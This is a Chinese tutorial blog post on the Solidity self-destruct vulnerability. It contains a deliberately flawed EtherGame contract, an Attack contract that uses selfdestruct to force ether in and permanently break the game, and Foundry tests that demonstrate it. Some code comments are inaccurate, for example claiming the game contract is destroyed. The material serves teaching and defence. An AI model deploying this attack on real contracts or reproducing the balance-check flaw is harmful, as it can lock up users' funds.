区块链安全常见的攻击——自毁漏洞(Self-Destruct Vulnerability)【2】

ops/2024/11/24 2:34:13/

区块链安全常见的攻击合约和简单复现,附带详细分析——自毁漏洞(Self-Destruct Vulnerability)【2】

1、自毁漏洞(Self-Destruct Vulnerability)

1.1 漏洞合约

contract EtherGame {uint public constant targetAmount = 7 ether;address public winner;function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");uint balance = address(this).balance; // vulnerablerequire(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: address(this).balance}("");require(sent, "Failed to send Ether");}
}

1.2 漏洞分析

deposit函数用来存放资金到ethergame合约,每次只允许存放1 ether,当ethergame合约的资金达到7ether,设置赢家为存放者,并且停止存放。如果通过非法的手段存入资金使得ethergame合约金额达到7,那么赢家无法再设置,始终为0x000000,因此游戏被破坏。
在这里插入图片描述

1.3 攻击分析

1、部署一个Attack合约,里面有一个dos函数,函数调用了selfdestruct(addr)函数
2、addr设置为ethergame合约地址
2、攻击者调用dos,同时给attack合约发送资金(资金金额是ethergame合约还差多少达到7ether)
3、这样会触发selfdestruct,自我销毁会把Attack合约里的资金强制发送给ethergame合约,使其达到7ether,而winner无法设置。

1.4 攻击合约

   contract ContractTest is Test {EtherGame EtherGameContract; // EtherGame 合约实例Attack AttackerContract; // 攻击合约实例address alice; // Alice 地址address eve; // Eve 地址address Attacker; // Attacker 地址// 设置测试环境function setUp() public {EtherGameContract = new EtherGame();alice = vm.addr(1); // 模拟 Alice 地址eve = vm.addr(2); // 模拟 Eve 地址vm.deal(address(alice), 1 ether); // 为 Alice 分配 1 Ethervm.deal(address(eve), 1 ether); // 为 Eve 分配 1 EtherAttacker = vm.addr(3); // 模拟 Attacker 地址vm.deal(address(Attacker), 6 ether); // 为 Attacker 分配 1 Ether}function testSelfdestruct() public {console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Etherconsole.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log("winner : ", EtherGameContract.winner());console.log("Attack...");AttackerContract = new Attack(EtherGameContract); // 部署攻击合约并传入 EtherGame 的地址AttackerContract.dos{value: 5 ether}(); // 调用攻击合约的 dos 函数并发送 5 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印攻击后的 EtherGame 合约余额console.log("After, winner : ", EtherGameContract.winner());console.log("Exploit completed, Game is over");EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败}
}contract Attack {EtherGame etherGame; // 目标 EtherGame 合约// 初始化攻击合约constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame); // 绑定目标合约}// 攻击函数:通过 selfdestruct 销毁目标合约function dos() public payable {// 通过发送额外的以太币,使游戏余额达到 7 Ether,从而破坏游戏address payable addr = payable(address(etherGame)); // 转换为 payable 地址selfdestruct(addr); // 调用 selfdestruct 将以太币和字节码一起销毁}
}

在这里插入图片描述

1.5 正常游戏情况,合约金额达7ether会有winner

    function testSelfdestruct() public {console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Etherconsole.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log(" winner : ", EtherGameContract.winner()); // 打印 EtherGame winnerconsole.log("Attacker starts depositing 1 Ether 5 times...");for (uint i = 0; i < 5; i++) {vm.prank(Attacker);EtherGameContract.deposit{value: 1 ether}(); // Attacker 每次存入 1 Ether}console.log("After, Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印攻击后的 EtherGame 合约余额console.log("After, winner : ", EtherGameContract.winner()); // 打印 EtherGame winnerconsole.log("Exploit completed, Game is over");··EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败}

在这里插入图片描述


http://www.ppmy.cn/ops/136206.html

相关文章

拥抱极简主义前端开发:NoCss.js 引领无 CSS 编程潮流

在前端开发的世界里&#xff0c;我们总是在不断追寻更高效、更简洁的方式来构建令人惊艳的用户界面。而今天&#xff0c;我要向大家隆重介绍一款具有创新性的工具 ——NoCss.js&#xff0c;它将彻底颠覆你对传统前端开发的认知&#xff0c;引领我们进入一个全新的无 CSS 编程时…

多传感器融合slam过程解析【大白话版】

SLAM&#xff08;同步定位与地图构建&#xff09;是自动驾驶、机器人导航和三维建模的关键技术之一。多传感器融合&#xff08;激光雷达、IMU、相机&#xff09;进一步提升了SLAM的鲁棒性和适应性&#xff0c;使其能够在复杂环境中实时构建高精度地图。本文将围绕激光雷达IMU相…

Python实战 | 使用 Python 的日志库(logging)和 pandas 库对日志数据进行分析

专栏集锦,大佬们可以收藏以备不时之需 Spring Cloud实战专栏:https://blog.csdn.net/superdangbo/category_9270827.html Python 实战专栏:https://blog.csdn.net/superdangbo/category_9271194.html Logback 详解专栏:https://blog.csdn.net/superdangbo/category_9271…

【深度学习|onnx】往onnx中写入训练的超参或者类别等信息,并在推理时读取

1、往onnx中写入 在训练完毕之后&#xff0c;我们先使用torch.onnx.export() 导出onnx模型&#xff0c;然后我们再使用以下代码来往metadata中写入信息&#xff1a; # Metadatad {# stride: int(max(model.stride)),names: model.names,mean : [0,0,0],std : [1,1,1],normali…

【企业级分布式系统】ELK优化

文章目录 Elasticsearch作为日志存储时的优化优化ES索引设置优化线程池配置锁定内存&#xff0c;不让JVM使用Swap减少分片数、副本数 Elasticsearch作为日志存储时的优化 linux内核优化、JVM优化、ES配置优化、架构优化&#xff08;filebeat/fluentd代替logstash、加入kafka做…

PyPI 攻击:ChatGPT、Claude 模仿者通过 Python 库传播 JarkaStealer

《Java代码审计》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484219&idx1&sn73564e316a4c9794019f15dd6b3ba9f6&chksmc0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene21#wechat_redirect 《Web安全》h…

Spark RDD 的宽依赖和窄依赖

通俗地理解 Spark RDD 的 宽依赖 和 窄依赖&#xff0c;可以通过以下比喻和解释&#xff1a; 1. 日常生活比喻 假设你在管理多个团队完成工作任务&#xff1a; 窄依赖&#xff1a;每个团队只需要关注自己的分工&#xff0c;完成自己的任务。例如&#xff0c;一个人将纸张折好&…

LeetCode 746. 使用最小花费爬楼梯 java题解

https://leetcode.cn/problems/min-cost-climbing-stairs/description/ 优化&#xff1a;可以不用dp数组&#xff0c;用变量&#xff0c;节省空间。 class Solution {public int minCostClimbingStairs(int[] cost) {int lencost.length;int[] dpnew int[len1];dp[0]0;//爬到0…